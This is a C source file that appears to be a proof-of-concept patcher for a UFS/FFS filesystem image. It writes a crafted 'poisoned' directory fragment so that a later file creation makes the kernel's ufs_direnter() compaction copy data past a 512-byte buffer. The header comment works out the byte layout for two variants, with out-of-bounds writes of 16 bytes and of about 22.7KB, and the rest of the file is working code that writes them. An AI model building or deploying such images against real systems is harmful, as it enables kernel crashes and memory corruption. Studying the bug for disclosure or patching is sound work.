/*
 * patch_dir.c — DF-3106 image patcher.
 *
 * Rewrites the 512-byte directory fragment of a freshly-created directory
 * with a "poisoned compaction region" that makes ufs_direnter() compact
 * entries whose DIRSIZ() far exceeds their d_reclen.
 *
 * On-disk layout written (all offsets within the dir's single 512B frag):
 *
 *   variant A (precise, +16 bytes OOB):
 *     @0    e0:  free entry, d_reclen=168                      (accum start)
 *     @168  e1:  hand-built poison: ino=1, reclen=8, namlen=255
 *                (DIRSIZ = 264 >> reclen = 8; passes the dirchk=0 walk)
 *     @176  e2:  free entry, ino=0, reclen=4 (from W fill)     (COMPACT trigger)
 *     @180  ..   W-fill = repeating {04 00 00 FF}              (source data)
 *   trigger: create() a 160-char name (DIRECTSIZ(160)=172):
 *     lookup: e0 size 168 < 172 -> accumulate; e1 size 8-264<0 -> skip;
 *             e2 size 4 -> freespace 172 >= 172 -> COMPACT, slot [0,180)
 *     direnter: iter1 bcopy [0,264) in-bounds; iter2 bcopy [264,528)
 *             -> 16 bytes PAST the 512-byte buffer -> panic(compact1)
 *
 *   variant B (massive, ~22KB OOB):
 *     @0    e0:  free entry, d_reclen=168
 *     @168  ..  W-fill poisons up to @492, hand-tail @492 (reclen=8)
 *     @500  eL:  free entry, ino=0, reclen=12 (ends exactly at 512)
 *   trigger: create() a 160-char name (DIRECTSIZ(160)=172):
 *     168+12=180 >= 172 -> COMPACT, slot [0,512); ~86 live iterations
 *     x 264 bytes each -> ep walks ~22.7KB past the 512-byte buffer.
 *
 * W = {04 00 00 FF} is 4-periodic so every 4-aligned read of an entry
 * header yields: d_ino = 0xFF000004 (nonzero), d_reclen = 4, d_namlen = 255.
 * Because the pattern is 4-periodic and starts at a 4-aligned offset, the
 * compaction bcopies re-create the pattern wherever they land — the walk
 * of nep entries never loses the poison interpretation.
 *
 * Geometry math uses the kernel's own UFS headers (fs.h/dinode.h).
 *
 * Usage:  patch_dir <image> <dir_ino> <A|B>
 * Build:  cc -O2 -o patch_dir patch_dir.c
 */
#include <sys/types.h>
#include <sys/param.h>
#include <vfs/ufs/ufs_types.h>
#include <vfs/ufs/fs.h>
#include <vfs/ufs/dinode.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static void die(const char *m){ perror(m); exit(2); }

static void
rd(int fd, void *buf, size_t n, off_t off, const char *what)
{
	if (pread(fd, buf, n, off) != (ssize_t)n) die(what);
}

static void
wr(int fd, const void *buf, size_t n, off_t off, const char *what)
{
	if (pwrite(fd, buf, n, off) != (ssize_t)n) die(what);
}

static ufs_daddr_t
my_cgstart(const struct fs *fs, int c)
{
	return (ufs_daddr_t)(fs->fs_cgoffset * ((c) & ~fs->fs_cgmask) +
			     ((c) & fs->fs_cgmask) * fs->fs_fpg);
}

/* Byte offset of inode @ino's first data block (di_db[0]). */
static off_t
dir_data_off(int fd, const struct fs *fs, long ino)
{
	int cg = ino / fs->fs_ipg;
	ufs_daddr_t cgstart = my_cgstart(fs, cg);
	ufs_daddr_t cgimin  = cgstart + fs->fs_iblkno;
	long idx_in_cg = ino % fs->fs_ipg;
	ufs_daddr_t i_frag = cgimin +
	    ((idx_in_cg / fs->fs_inopb) << fs->fs_fragshift);
	off_t inode_byte = (off_t)i_frag * fs->fs_fsize +
	    (idx_in_cg % fs->fs_inopb) * sizeof(struct ufs1_dinode);
	struct ufs1_dinode di;
	rd(fd, &di, sizeof(di), inode_byte, "read inode");
	if (di.di_db[0] <= 0) {
		fprintf(stderr, "inode %ld: no direct block\n", ino);
		exit(2);
	}
	if (di.di_size != 512) {
		fprintf(stderr, "inode %ld: di_size=%lld (want 512)\n",
		    ino, (long long)di.di_size);
		/* not fatal for A; B requires the 512B frag too */
	}
	printf("dir ino %ld: di_db[0]=%d (byte off %lld) di_size=%lld\n",
	    ino, di.di_db[0], (long long)((off_t)di.di_db[0] * fs->fs_fsize),
	    (long long)di.di_size);
	return (off_t)di.di_db[0] * fs->fs_fsize;
}

static void
put_reclen(uint8_t *b, int off, uint16_t r)
{
	b[off + 4] = (uint8_t)(r & 0xff);
	b[off + 5] = (uint8_t)(r >> 8);
}

int
main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "usage: %s <image> <dir_ino> <A|B>\n", argv[0]);
		return 1;
	}
	const char *img = argv[1];
	long ino = atol(argv[2]);
	char variant = argv[3][0];
	int fd = open(img, O_RDWR);
	if (fd < 0) die("open");

	struct fs sb;
	rd(fd, &sb, sizeof(sb), SBOFF, "read superblock");
	if (sb.fs_magic != FS_MAGIC) {
		fprintf(stderr, "not FFS: magic=0x%x\n", sb.fs_magic);
		return 2;
	}
	printf("FFS OK: bsize=%d fsize=%d\n", sb.fs_bsize, sb.fs_fsize);

	off_t d_off = dir_data_off(fd, &sb, ino);

	uint8_t blk[512];
	memset(blk, 0, sizeof(blk));

	/* e0 @0: free, reclen=168, rest zero */
	put_reclen(blk, 0, 168);

	if (variant == 'A' || variant == 'a') {
		/*
		 * e1 @168: hand-built poison header:
		 *   ino=1, reclen=8, type=0, namlen=255  (DIRSIZ=264 >> 8)
		 * reclen=8 skips the chain past e1's own header to @176.
		 */
		blk[168] = 0x01; blk[169] = 0x00; blk[170] = 0x00; blk[171] = 0x00;
		blk[172] = 0x08; blk[173] = 0x00;	/* d_reclen = 8 */
		blk[174] = 0x00;			/* d_type */
		blk[175] = 0xFF;			/* d_namlen = 255 */
		/*
		 * e2 @176: free entry: ino=0 at [176,180); its reclen field
		 * at [180,182) is supplied by the W fill (=4).
		 */
		/* W fill from 180: every 4-aligned entry reads
		 * ino!=0, reclen=4, namlen=255 (self-sustaining). */
		for (int i = 180; i < 508; i += 4) {
			blk[i] = 0x04; blk[i+1] = 0x00; blk[i+2] = 0x00; blk[i+3] = 0xFF;
		}
		/*
		 * Chain tail: entry @504 (ino from W fill at [504,508)) gets
		 * reclen=8 so the chain lands exactly on 512 — an entry header
		 * straddling the buffer end would trip the walk's own
		 * forward-progress check (and its 2-byte OOB d_reclen read).
		 */
		blk[508] = 0x08; blk[509] = 0x00;	/* d_reclen = 8 */
		blk[510] = 0x00;			/* d_type */
		blk[511] = 0xFF;			/* d_namlen */
	} else {
		/*
		 * variant B: W poisons [168,492), hand-tail entry @492
		 * (reclen=8) hopping onto the free trigger entry @500
		 * with reclen=12 (ends exactly at 512).
		 */
		for (int i = 168; i < 496; i += 4) {
			blk[i] = 0x04; blk[i+1] = 0x00; blk[i+2] = 0x00; blk[i+3] = 0xFF;
		}
		/* entry @492: ino from W at [492,496); reclen=8 -> chain @500 */
		blk[496] = 0x08; blk[497] = 0x00;	/* d_reclen = 8 */
		blk[498] = 0x00;			/* d_type */
		blk[499] = 0xFF;			/* d_namlen */
		/* eL @500: free, ino=0 [500,504), reclen=12 */
		put_reclen(blk, 500, 12);
		blk[506] = 0x00; blk[507] = 0xFF;	/* d_type, d_namlen */
		/* [508,512) zero: its name pad */
	}

	wr(fd, blk, sizeof(blk), d_off, "write dirblock");

	/* verify */
	uint8_t chk[512];
	rd(fd, chk, sizeof(chk), d_off, "re-read dirblock");
	if (memcmp(chk, blk, 512) == 0) {
		printf("OK: variant %c dirblock poisoned at byte offset %lld\n",
		    variant, (long long)d_off);
		return 0;
	}
	fprintf(stderr, "FAIL: verify mismatch\n");
	return 2;
}
